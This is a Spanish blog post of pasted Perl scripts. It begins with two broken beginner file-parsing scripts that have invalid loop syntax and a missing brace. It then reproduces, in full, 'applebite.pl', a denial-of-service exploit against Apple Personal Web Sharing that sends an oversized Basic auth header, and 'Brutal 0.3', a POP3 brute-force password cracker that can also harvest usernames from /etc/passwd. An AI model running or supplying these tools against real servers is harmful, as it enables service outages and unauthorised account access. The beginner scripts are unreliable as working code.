domingo, 28 de febrero de 2016

PERL

#!/usr/bin/perl
$file='prueba4.pdb ';
$file2='prueba8.pdb';
open(A,"$file");
open(B,">$file2");
while($a=<A>){
    @reg=split(" ",$a);
    print B "$reg[0] \n";
##for($x=0,$x=0,$x++)
##{
##    print B "$reg[$x]\n";
##    print B "$reg[$x]"+"$reg[$x]";
##}
   ##$x=$reg[0];
    ##if($x=! ' '){
    ##print B "$reg[0]\n";
    ##print B $x++;
##}
}
close(A);
close(B);

*******
#!/usr/bin/perl
$file='prueba4.pdb ';
$file2='prueba7.pdb';
open(A,"$file");
open(B,">$file2");
while($a=<A>){
    @reg=split("\n ",$a);
    print B "reg[0]: $reg[0]\n";
   ## print B "reg[1]: $reg[1]\n";
   ## print B "reg[2]: $reg[2]\n";
for($a=0,$a<10,$a++)
{
   ## print B "$reg[$0]+$reg[$0]:\n";
 print B "$reg[$0]"+"$reg[$0]+1";
 ##   print B "$reg[$a]"+"$reg[$a]";
   ##$x=$reg[0];
    ##if($x=! ' '){
    ##print B "$reg[0]\n";
    ##print B $x++;
##}
}
close(A);
close(B);

*********+
+
#!/usr/bin/perl

# Exploit code for Denial-of-Service attack affecting Apple Personal
# Web Sharing versions 1.5.5, 1.5 & 1.1 (MacOS 9.0, 8.1, 8.0) as
# discovered by Jass Seljamaa <jass@email.isp.ee>.

# Code written by Wizdumb, coz I wuz b0red at work. And not tested ;-P

require 5.002;

use MIME::Base64;
use IO::Socket;

$host = shift || die "Syntax: applebite.pl <hostname> [protected file] [port]";
($file, $port) = ((shift || '/'), (shift || 80));

$base64 = encode_base64('wizdumb:' . ("a" x 350));

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM)
|| die "Couldnt connect to $host:$port : $@\n";

print $socket "GET $file HTTP/1.0\nAuthorization: Basic $base64\n\n";
@junk = <$socket>;
close($socket);



*************

#!/usr/bin/perl 
##
##  [Brutal 0.3]
##  (C) 2000 - Yo_Soy <yo_soy@raza-mexicana.org>
##
##  Brutal is a remote POP3 brute force cracker. Brutal uses two
##  wordlists, one for usernames and other for passwords, so it
##  checks every password for each username. 
##
##  FOR EDUCATIONAL PURPOSES ONLY
##
##  [ http://www.raza-mexicana.org ]                     [-MEXICO-]
###################################################################
##

use Socket; use Getopt::Std;

print ("\nBrutal 0.3 - POP3 Brute Force Attack\n");
print ("by Yo_Soy - <yo_soy\@raza-mexicana.org>\n");

getopts("h:u:p:d:l", \%args);

&uso if (!%args);
&dump if (defined $args{d});

$logfile = defined $args{l} ? "$args{l}" : "$args{h}.log";
$userfile = defined $args{d} ? "dumped.txt" : "$args{u}";
$passfile = defined $args{d} ? "dumped.txt" : "$args{p}";

open (LOG, ">$logfile")  || die ("Error writing log file\n");
open (USERNAMES, "<$userfile") || die ("Error opening usernames file\n");
open (PASSNAMES, "<$passfile") || die ("Error opening passwords file\n");
$pass = <PASSNAMES>;  chomp ($pass);
$user = <USERNAMES>;  chomp ($user);
while ($pass ne "") {
  while ($user ne "") {
    $NETFD = conexion($args{h});
    sysread ($NETFD, $mensaje, 100);    
    send ($NETFD, "user $user\n", 0);
    sleep(1);
    sysread ($NETFD, $mensaje, 100);    
    send ($NETFD, "pass $pass\n", 0);
    sleep(1);
    sysread ($NETFD, $mensaje, 3);
    sleep(1);
    print ("Trying User: $user\t\tPass: $pass\n");
    if ($mensaje =~ /^\+OK/) { &encontrado; }
    $user = <USERNAMES>;
    chomp ($user);
  }
  close (USERNAMES); 
  open (USERNAMES, "<$userfile"); 
  $user = <USERNAMES>;
  chomp ($user);
  $pass = <PASSNAMES>;
  chomp ($pass);
}
### When an account is found
sub encontrado {
   $encontrado = "([*]) User: $user\t\tPass: $pass\n";
   print ("$encontrado");
   print LOG ("$encontrado"); }

### The use of the program
sub uso {
print qq!
Usage:  $0 <options>

 Options:
          -h  hostname
          -u  user names file
          -p  passwords file
          -d  dump usernames
          -l  log file

Use the -d option to dump the usernames directly from the /etc/passwd file
instead of using the -u and -p options.

!; exit;}

### Dumping usernames from /etc/passwd
sub dump {
  open (LOGIN, ">dumped.txt") || die ("Unable to write dumped.txt\n");
  open (ETC, "</etc/passwd") || die ("Unable to open /etc/passwd\n");
  $linea = <ETC>;
  while ($linea ne "") {
    @array = split(/:/, $linea);
    print LOGIN ("$array[0]\n");
    $linea = <ETC>;  }
  close LOGIN;
  close ETC; }

### Socket connection
sub conexion {
   $iaddr = inet_aton($_[0]) || die("Invalid host $_[0]\n");
   $paddr = sockaddr_in("110", $iaddr);
   socket(CONNFD, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
   connect(CONNFD, $paddr) || die ("Couldn't connect $_[0]:110\n");
   return CONNFD; }

No hay comentarios:

Publicar un comentario

zen consultora

Blogger Widgets

Entrada destacada

Platzy y el payaso Freddy Vega, PLATZI APESTA, PLATZI NO SIRVE, PLATZI ES UNA ESTAFA

  Platzy y los payasos fredy vega y cvander parte 1,  PLATZI ES UNA ESTAFA Hola amigos, este post va a ir creciendo conforme vaya escribiend...